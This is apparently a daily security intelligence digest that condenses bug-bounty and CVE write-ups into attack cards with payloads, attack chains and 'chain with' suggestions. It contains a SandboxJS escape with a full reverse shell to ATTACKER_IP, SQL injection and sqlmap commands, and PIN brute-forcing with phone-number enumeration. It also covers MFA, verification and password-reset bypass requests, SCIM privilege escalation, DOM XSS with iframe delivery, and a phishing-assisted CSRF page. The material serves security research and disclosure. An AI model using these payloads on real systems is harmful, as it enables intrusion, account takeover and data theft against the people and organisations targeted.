

ETX Signal-X

Daily Intelligence Digest

Tuesday, March 10, 2026

10

ARTICLES

19

TECHNIQUES

Escaping the Matrix: A Deep Dive into SandboxJS RCE (CVE-2026-23830)

Source: securitycipher

Date: 28-Jan-2026

URL: https://medium.com/@meysam_bal-afkan/escaping-the-matrix-a-deep-dive-into-sandboxjs-rce-cve-2026-23830-1fbbca3f46fc

T1 SandboxJS AsyncFunction Constructor Escape for RCE

Payload

```
const af = async () => {};  
const HostConstructor = af.constructor;  
const escape = HostConstructor("return process.mainModule.require('child_process')");
```

Attack Chain

- 1 Inside the SandboxJS context, define an empty async function: ``const af = async () => {}``
- 2 Access the async function's constructor via ``af.constructor`` (leaks the host's ``AsyncFunction`` constructor).
- 3 Use the host constructor to create a new function that returns ``process.mainModule.require('child_process')``, bypassing sandbox restrictions.
- 4 Obtain a reference to Node.js internals (e.g., ``child_process``) and execute arbitrary system commands, achieving RCE.

Discovery

Manual code review of SandboxJS revealed that while the standard ``Function`` constructor was sandboxed, ``AsyncFunction`` was not. Testing access to ``af.constructor`` inside the sandbox confirmed the escape vector.

Bypass

By leveraging ``AsyncFunction`` (which was not blacklisted or wrapped), the attacker bypasses the intended isolation of the sandbox. This works even when dangerous globals like ``process`` and ``require`` are blocked in user code.

Chain With

Can be chained with any post-RCE primitives (e.g., file read/write, lateral movement). Can be used for persistence or privilege escalation if the sandbox runs with elevated permissions.

 Payload

```
(async () => {
  const af = async () => {};
  const C = af.constructor;
  const payload = C(`
    const net = process.mainModule.require('net');
    const cp = process.mainModule.require('child_process');
    const client = new net.Socket();
    client.connect(4444, 'ATTACKER_IP', () => {
      const sh = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh';
      const p = cp.spawn(sh, []);
      client.pipe(p.stdin);
      p.stdout.pipe(client);
      p.stderr.pipe(client);
    });
  `);
  payload();
})();
```

 Attack Chain

- 1 Define an async function and extract its constructor as in Technique 1.
- 2 Use the constructor to create a function that imports Node.js `net` and `child\_process` modules.
- 3 Establish a TCP connection to an attacker-controlled server (port 4444, replace `ATTACKER\_IP`).
- 4 Spawn a shell (`cmd.exe` or `/bin/sh`) and pipe its input/output over the socket, achieving a reverse shell.
- 5 For true "blind" RCE, encode command output (e.g., base64) and send it to an external HTTP/HTTPS endpoint (not shown, but implemented in the SandBreak tool).

 Discovery

After confirming RCE via the AsyncFunction escape, the researcher explored OOB exfiltration to handle cases where command output is not returned to the attacker (blind RCE). The SandBreak tool automates this process.

 Bypass

OOB exfiltration bypasses output restrictions and firewalls that may block direct reverse shells, enabling data theft even in "blind" execution contexts.

 Chain With

Combine with SSRF or other OOB primitives for robust data exfiltration. Use as a persistence channel or for lateral network movement.

A weakness has been identified in itsourcecode School Management System 1.0. The affected element is an unknown function of the file /course/index.php. Executing a manipulation of the argument ID can lead to sql injection. The attack may be performed from

Source: threatable

Date:

URL: <https://github.com/ltranquility/CVE/issues/33>

T1 Time-Based Blind SQL Injection via 'id' Parameter

Payload

```
GET /ramonsys/course/index.php?view=edit&id=2 AND (SELECT 3632 FROM (SELECT(SLEEP(5))))OOZT)
HTTP/1.1
Host: 192.168.174.128:9006
```

Attack Chain

- 1 Send a crafted GET request to `/ramonsys/course/index.php` with the `view=edit` parameter and the `id` parameter set to a value that includes a time-based SQL injection payload: `2 AND (SELECT 3632 FROM (SELECT(SLEEP(5))))OOZT`.
- 2 Observe the response time from the server. If the server delays by the specified number of seconds (e.g., 5 seconds), SQL injection is confirmed.
- 3 Use automated tools (e.g., sqlmap) to further exploit the vulnerability, enumerate databases, extract data, or escalate the attack.

Discovery

Manual parameter fuzzing and observation of response delays when injecting time-based payloads into the `id` parameter. Confirmed using sqlmap with the following command: `python sqlmap.py --random-agent --batch -u "http://192.168.174.128:9006/ramonsys/course/index.php?view=edit&id=2" --dbms=mysql -p id --current-db`

Bypass

No authentication required; the endpoint is accessible to unauthenticated users, increasing exploitability. The payload leverages standard MySQL time-based injection syntax, which may bypass weak input validation.

Chain With

Use extracted credentials or data for privilege escalation or lateral movement within the application or network. Combine with authentication bypass or session fixation if other endpoints are vulnerable. Potential to pivot to RCE if further SQLi exploitation reveals file write or command execution primitives.

From Betting Addiction to Ethical Hacking: How I Discovered a Security Loophole in a Popular...

Source: securitycipher

Date: 17-Apr-2025

URL: <https://medium.com/@pazzoamani/from-betting-addiction-to-ethical-hacking-how-i-discovered-a-security-loophole-in-a-popular-159720067f1d>

T1 4-Digit PIN Brute-Force via Predictive Wordlist

Payload

```
POST /api/login HTTP/1.1
Host: <target>
Content-Type: application/json

{
  "phone": "<target_phone_number>",
  "pin": "1989"
}

{
  "phone": "<target_phone_number>",
  "pin": "1234"
}

{
  "phone": "<target_phone_number>",
  "pin": "2023"
}

... (repeat for each PIN in the 25-entry wordlist)
```

Attack Chain

- 1 Obtain a target phone number (see Technique 2 for enumeration vectors).
- 2 Intercept a legitimate login request using Burp Suite.
- 3 Send the request to Burp Intruder, set the "pin" parameter as the payload position.
- 4 Use a custom wordlist of 25 common 4-digit PINs (birth years, patterns, repeats).
- 5 Launch a Sniper attack; monitor responses for `200 OK` (success) vs `403` (fail).
- 6 If `200 OK` is returned, access to the account is granted.
- 7 If 20 failed attempts are reached, account is locked for 1 hour (rate limiting in effect).

Discovery

Manual inspection of the login process revealed only phone number and 4-digit PIN were required. Knowledge of user behavior and weak PIN selection led to creation of a highly effective, minimal wordlist.

Bypass

Rate limiting/lockout after 20 failed attempts per account. However, with a small wordlist and predictable PINs, compromise is still feasible within a few cycles.

Chain With

Combine with phone number enumeration (see Technique 2) for mass account takeover. Once inside, can place bets, view PII, or abuse platform features.

T2

Phone Number Enumeration via Public Leaderboard and User Comments

Payload

- Scrape public leaderboard page (e.g., /pawa6/leaderboard) for exposed phone numbers.
- Monitor user comments for accidental phone number disclosure.

Attack Chain

- 1 Access the public leaderboard for the "Pawa6" prediction game.
- 2 Extract phone numbers directly from the leaderboard (prior to masking) or from user comments.
- 3 Compile a list of valid phone numbers for use in authentication attacks (see Technique 1).

Discovery

Observation of public platform features revealed direct exposure of user phone numbers in leaderboards and comments.

Bypass

After initial disclosure was mitigated (masking with asterisks), user comments continued to leak phone numbers, maintaining the attack surface.

Chain With

Use enumerated phone numbers as input for brute-force PIN attacks (Technique 1). Enables targeted account takeover at scale.

How I Turned a 403 Error into a \$200 API Key Leak Bounty

Source: securitycipher

Date: 03-Dec-2025

URL: <https://infosecwriteups.com/how-i-turned-a-403-error-into-a-200-api-key-leak-bounty-96faba78dfc4>

T1 Directory Fuzzing to Uncover Sensitive API Keys in Unprotected Source

Payload

```
ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://stage.mpc.Example.com/FUZZ
```

Attack Chain

- 1 Identify an endpoint that previously returned a 500 error but now returns a 403 (e.g., <https://stage.mpc.Example.com/>).
- 2 Use a large wordlist (SecLists directory-list-2.3-big.txt) with ffuf to fuzz for hidden directories.
- 3 Discover a directory (e.g., /demo-test-engine) that is accessible (returns 200 or loads a page).
- 4 Review the page source of the discovered directory for sensitive information.
- 5 Locate an exposed Supabase API key in the page source.
- 6 Report the finding for validation and remediation.

Discovery

Re-examined previously erroring endpoints for changes; noticed a shift from 500 to 403, which indicated backend changes or new access controls. Fuzzed directories using ffuf and a large wordlist, leading to discovery of a directory with exposed secrets in the source.

Bypass

The initial 403 status on the main endpoint did not extend to all subdirectories. Fuzzing bypassed the access restriction by revealing a misconfigured or forgotten directory where secrets were exposed.

Chain With

Exposed Supabase keys can be leveraged for lateral movement, privilege escalation, or further API enumeration if the key has broad permissions. Combine with SSRF or other misconfigurations for deeper access.

Authentication Bypass -MFA , Account Takeover...

Source: securitycipher

Date: 14-Aug-2024

URL: <https://medium.com/@prakashchand72/authentication-bypass-mfa-account-takeover-32166aedb3b9>

T1 Authentication Bypass via grant_type Parameter Manipulation

Payload

```
POST /api/auth/verify-code HTTP/1.1
Host: app.redacted.com
Content-Type: application/json

{
  "email": "astute@tesla.com",
  "code": "1234-5678-9012", // any random or invalid code
  "password": "KnownPassword",
  "grant_type": "password"
}
```

Attack Chain

- 1 Register a new account using a target organization's email (e.g., astute@tesla.com) and set a known password.
- 2 When prompted for the email verification code, intercept the verification request.
- 3 Replace the code with any value (even invalid), include the known password, and set `grant\_type` to `password`.
- 4 Submit the modified request to bypass the email verification step and complete account creation.
- 5 Upon success, gain access to the organization/team group and internal resources.

Discovery

Manual parameter tampering during the signup flow; inspecting the verification request revealed the `grant\_type` parameter could be set to `password`, allowing bypass of the code check.

Bypass

The backend trusted the `grant\_type` parameter and allowed authentication using the password instead of the verification code, regardless of code validity.

Chain With

Use with organization email auto-grouping to access internal chats/files. Combine with further MFA/activation bypass (see next technique) for full account takeover.

T2

MFA/Account Activation Bypass via Leaked Activation Link in API Response

Payload

```
POST /api/auth/send-activation-link HTTP/1.1
Host: app.redacted.com
Content-Type: application/json

{
  "email": "astute@tesla.com"
}

// Response contains:
{
  "activation_link": "https://app.redacted.com/activate?token=abcdefg123456"
}
```

Attack Chain

- 1 After creating an account (using the previous bypass or normal registration), trigger the activation process for the target email.
- 2 Intercept the API call that sends the activation link to the user's email.
- 3 Observe that the API response directly contains the activation link (`activation\_link` field).
- 4 Use the activation link from the API response to activate the account without access to the victim's email inbox.

Discovery

Intercepted the activation link request and inspected the API response; noticed the activation link was returned in the response body.

Bypass

No need for email access—the attacker can self-activate the account using the link from the API response.

Chain With

Combine with registration/auth bypass for full account takeover. Use for persistent access or lateral movement within organization accounts.

T3

Reflected Parameter Injection in Activation Link (Non-exploitable, but Signal)

Payload

```
https://app.redacted.com/activate?token=abcdefg123456&content=InjectedText
```

Attack Chain

- 1 Trigger the activation process and intercept the activation link generation.
- 2 Manipulate the `content` parameter in the request or directly in the activation link.
- 3 Observe that the value of `content` is reflected in the activation page/link after the `?`, but does not affect the activation logic.

Discovery

Parameter fuzzing on the activation link; noticed `content` parameter is reflected in the returned link/email.

Bypass

Reflection occurs after the `?` in the URL, so does not lead to open redirect or XSS, but may be useful for further social engineering or phishing payloads.

Chain With

Potential for phishing or user confusion if combined with other weaknesses. Monitor for future changes that could make this exploitable (e.g., if HTML context or redirect logic changes).

My First Critical Bounty: How I Went From robots.txt to Full Admin Access.

Source: securitycipher

Date: 09-Jan-2026

URL: https://medium.com/@A_Segun/my-first-critical-bounty-how-i-went-from-robots-txt-to-full-admin-access-322ae07f1247

T1 robots.txt Enumeration for Hidden Admin Paths

Payload

```
GET /robots.txt HTTP/1.1
Host: staging.example.com
```

Attack Chain

- 1 Access `https://staging.example.com/robots.txt` and review the contents for disallowed paths.
- 2 Identify sensitive or non-standard entries (e.g., `Disallow: /sitebsadmin`).
- 3 Manually browse to the discovered path (e.g., `https://staging.example.com/sitebsadmin`) to check for exposed admin panels or interfaces.

Discovery

Manual review of robots.txt on a staging subdomain revealed a non-standard admin path (`/sitebsadmin`).

Bypass

robots.txt is not enforced access control—attackers can enumerate and access paths regardless of disallow directives.

Chain With

Combine with weak authentication, default credentials, or misconfigured SSO for privilege escalation.

T2

Abuse of Open Account Registration on SSO for Privilege Escalation

Payload

```
POST /ims/register HTTP/1.1
Host: auth.example.com
Content-Type: application/x-www-form-urlencoded

email=attacker%40mail.com&password=StrongPass123&other_fields=...
```

Attack Chain

- 1 Navigate to the admin login page at `https://staging.example.com/sitebsadmin`.
- 2 Select the alternative login option: "Login with IMS" (SSO provider).
- 3 On the IMS login page (`auth.example.com`), click the visible "Create new account" link.
- 4 Register a new account with arbitrary attacker-controlled email and password.
- 5 Complete registration and confirm account if required.
- 6 Upon completion, the SSO flow redirects back to the admin panel, automatically granting full admin privileges.

Discovery

Manual inspection of all login options revealed an unexpected "Create new account" link on the SSO login page for an internal admin panel.

Bypass

The SSO provider allowed open registration and was misconfigured to assign highest privileges by default to new users, bypassing intended access restrictions.

Chain With

Use with robots.txt/admin path discovery for initial panel access. Potential to pivot to production if SSO is shared across environments. Leverage admin access for data exfiltration, fraud, or further lateral movement.

From Email Verification to 0-Click Account Takeover

Source: securitycipher

Date: 05-Jan-2026

URL: <https://medium.com/@y.elsayed4315/from-email-verification-to-0-click-account-takeover-7a46a0e8bdc8>

Email Verification Bypass via Hash Parameter Removal (Pre-ATO)

Payload

```
GET /verify?username=victim@company.com
```

Attack Chain

- 1 Register a new account using the target's company email address (victim@company.com).
- 2 Receive the standard email verification link, which normally includes a `hash` parameter.
- 3 Remove the `hash` parameter entirely from the verification request.
- 4 Send the modified request to `/verify?username=victim@company.com`.
- 5 The backend verifies the email without requiring a valid token, enabling access to internal features (e.g., customer support ticket system).

Discovery

Tested the email verification endpoint with and without the `hash` parameter, specifically targeting company-domain addresses to assess impact beyond cosmetic verification.

Bypass

The backend did not enforce the presence or validity of the `hash` parameter for company-domain emails, allowing verification without a token.

Chain With

Use the verified internal account to access restricted features (e.g., support ticket system). Combine with password reset flaws for full account takeover.

T2

Password Reset Token Type Juggling (0-Click Account Takeover)

Payload

```
POST /reset-password
Content-Type: application/json

{
  "email": "victim@company.com",
  "reg_hash": true,
  "new_password": "AttackerChosenPassword123!"
}
```

Attack Chain

- 1 Use the previously verified company email (from Technique 1) to initiate a password reset.
- 2 In the password reset request, replace the expected string `reg\_hash` token with a boolean value (`true`).
- 3 Submit the request to the password reset endpoint.
- 4 The backend performs a loose comparison (e.g., `if (reg\_hash == stored\_hash)`) and accepts the boolean as valid, bypassing token validation.
- 5 Receive valid Access and Refresh tokens for the victim account, achieving full account takeover.

Discovery

After exhausting common failure cases (IDOR, cross-account reset, token removal, empty token), tested type confusion by supplying a boolean instead of a string for the token parameter.

Bypass

Loose comparison in backend logic allows a boolean `true` to bypass string token checks, exploiting type juggling.

Chain With

Combine with email verification bypass to compromise any company-domain account with zero user interaction. Use obtained tokens to access all victim resources and internal systems.

Privilege Escalation Using SCIM Provisioning

Source: securitycipher

Date: 05-Jan-2024

URL: <https://ronak-9889.medium.com/privilege-escalation-using-scim-provisioning-ca61ed9606bd>

T1 Privilege Escalation via SCIM User Attribute Overwrite

Payload

```
POST /scim/v2/Users HTTP/1.1
Host: <okta-tenant>.okta.com
Authorization: Bearer <SCIM_TOKEN>
Content-Type: application/json

{
  "userName": "james.parker@example.com",
  "emails": [
    {
      "value": "james.parker@example.com",
      "primary": true
    }
  ],
  "displayName": "James Parker",
  "userType": "ADMIN"
}
```

Attack Chain

- 1 Obtain a user account with a custom role that has access only to the "security section" (not full admin).
- 2 In the target app, generate a SCIM provisioning URL and token from the "security section".
- 3 In Okta (or another supported IdP), add the target application and enable SCIM provisioning using the URL and token from step 2.
- 4 In Okta, create or update a user with the same username/email as your limited-privilege account, but set the `userType` attribute to `ADMIN`.
- 5 Trigger SCIM provisioning sync from Okta. The target app updates the existing user, elevating privileges to full admin based on the SCIM-provided attribute.

Discovery

Researcher noticed the "custom role" feature and that SCIM provisioning could be enabled by users with only partial admin access. Hypothesized that SCIM attribute precedence might allow privilege escalation by syncing a user with elevated attributes from the IdP.

Bypass

The application's SCIM integration trusts the IdP's `userType` attribute and overwrites local role restrictions, even for users who should not be able to escalate their own privileges. No server-side validation prevents privilege escalation via SCIM updates.

Chain With

Combine with IDOR or session fixation to target other users if SCIM allows arbitrary user updates by email. Use as a persistence mechanism: regain admin access by re-syncing SCIM if local demotion occurs. Potential lateral movement if SCIM integration is used across multiple business units or SaaS platforms.

DOM XSS in jQuery selector sink using a hashchange event

Source: securitycipher

Date: 27-Dec-2023

URL: <https://medium.com/@marduk.i.am/dom-xss-in-jquery-selector-sink-using-a-hashchange-event-bb3c355b3633>

T1 DOM XSS via jQuery :contains Selector and Hashchange Event

Payload

```
#
```

Attack Chain

- 1 Identify a page using jQuery's `:contains` selector with untrusted input from `window.location.hash` (e.g., `\$('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')')`).
- 2 Craft a URL with a hash containing an HTML tag payload, e.g., `https://target.site/#`.
- 3 When the hash changes, the script injects the payload into the selector, causing jQuery to parse and instantiate a DOM element from the payload.
- 4 The `<img>` tag triggers the `onerror` event, executing arbitrary JavaScript (e.g., `alert()`).

Discovery

Manual source review and dev tools inspection revealed the use of jQuery's `:contains` selector with unsanitized hash input. Testing with HTML tags in the hash demonstrated that jQuery instantiates DOM elements from the selector argument.

Bypass

The vulnerability exists because the `:contains` selector does not properly restrict its argument to plain text, allowing HTML tags to be interpreted as elements. No additional encoding or filtering is applied to the hash input.

Chain With

Can be chained with session fixation or CSRF if the XSS is used to steal tokens or perform actions as the victim. If the site runs in a privileged context (e.g., admin panel), can escalate to account takeover or data exfiltration.

T2

DOM Element Injection via jQuery Selector and Manual DOM Attachment

Payload

```
#<h1>Your_Random_String</h1>
```

Attack Chain

- 1 Use a hash payload containing an HTML element (e.g., `

https://target.site/#<h1>Your_Random_String</h1>`.
- 2 The vulnerable script parses the hash and passes it to the jQuery `:contains` selector, which creates a detached DOM element from the payload.`
- 3 In browser dev tools, assign the result to a variable and extract the DOM element: `var post = $('section.blog-list h2:contains(<h1>Your_Random_String</h1>'); post = post.get(0);``
- 4 Manually attach the injected element to a visible parent node: `document.getElementById('academyLabHeader').appendChild(post);``
- 5 The attacker-controlled element becomes visible in the DOM.

Discovery

After observing that the selector returns a jQuery object with `length: 1` for HTML tag payloads, manual DOM manipulation in dev tools revealed the element could be attached to the page.`

Bypass

The jQuery selector's failure to restrict input to text allows arbitrary element creation. While the element is initially detached, it can be appended to the DOM using standard JavaScript.

Chain With

Can be chained with other DOM XSS vectors if the injected element contains event handlers or script tags. Useful for red-teaming scenarios where persistent DOM manipulation is required (e.g., fake login forms, phishing overlays).

T3

Automated Exploit Delivery via Cross-Origin Iframe and Hash Injection

Payload

```
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>' "></iframe>
```

Attack Chain

- 1 Host the payload in an attacker-controlled exploit server.
- 2 The payload uses an ``<iframe>`` to load the vulnerable target page.
- 3 On iframe load, the ``onload`` handler appends a malicious hash to the iframe's ``src` attribute, injecting `` into the hash.`
- 4 The target page's hashchange handler processes the payload, triggering the ``print()`` function in the victim's browser.
- 5 The exploit can be delivered to a victim via a link to the exploit server.

Discovery

Guided by the lab's solution, the researcher adapted the payload for automated delivery using an iframe and dynamic hash manipulation to ensure code execution in the victim context.

Bypass

This method bypasses user interaction requirements by automating the hash injection via iframe ``onload``, ensuring the payload is processed as soon as the victim loads the exploit page.

Chain With

Can be used for drive-by exploitation in phishing campaigns. If the target site is accessible cross-origin, can be chained with CSRF or session riding attacks.

From Frustration to Impact: How a Weekend Hunt Turned into a Critical CSRF+Phishing Discovery

Source: securitycipher

Date: 29-May-2025

URL: <https://sarv3shxploit.medium.com/from-frustration-to-impact-how-a-weekend-hunt-turned-into-a-critical-csrf-phishing-discovery-c6f4bfba11cc>

T1 CSRF Account Deletion via Password Reuse

Payload

```
POST /delete-account HTTP/1.1
Host: xyz.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=VIC_SESSION_COOKIE

password=ATTACKER_PASSWORD
```

Attack Chain

- 1 Register two accounts: one as victim (victim@xyz.com), one as attacker (attacker@xyz.com).
- 2 Set both accounts' passwords to the same value (e.g., "Password123!").
- 3 While authenticated as the victim, submit a CSRF request to `/delete-account` with the shared password in the `password` field.
- 4 Victim's account is deleted if the password matches.

Discovery

Manual review of sensitive endpoints after standard CSRF attempts failed; noticed `password` field in account deletion POST request. Hypothesized that password reuse could enable CSRF if attacker knows or can guess victim's password.

Bypass

Bypassing CSRF protections by leveraging password reuse between attacker and victim accounts. No CSRF token required if password is valid.

Chain With

Combine with password spraying or credential stuffing to increase impact. Can be chained with phishing to obtain victim's password for targeted deletion.

T2

Phishing-Assisted CSRF Account Deletion (Credential Capture to CSRF Chain)

Payload

```
<!-- coupon.html -->
<html>
  <body>
    <form id="csrf" action="https://xyz.com/delete-account" method="POST">
      <input type="hidden" name="password" value="{CAPTURED_PASSWORD}">
    </form>
    <script>document.getElementById('csrf').submit();</script>
  </body>
</html>
```

Attack Chain

- 1 Send phishing email to victim, luring them to a fake login page.
- 2 Capture victim's credentials when they log in.
- 3 After login, provide a download link to `coupon.html` (crafted CSRF payload with captured password pre-filled).
- 4 Victim opens `coupon.html` while authenticated; browser auto-submits the form to `/delete-account` with their real password.
- 5 Victim's account is deleted without further interaction.

Discovery

Realized CSRF on account deletion required password but not a CSRF token. Devised phishing flow to capture password and automate CSRF attack using the captured value.

Bypass

Bypasses CSRF token requirement by leveraging user-supplied password. Phishing chain circumvents need for prior knowledge of victim's password.

Chain With

Can be chained with credential harvesting, session fixation, or social engineering to automate destructive actions post-login.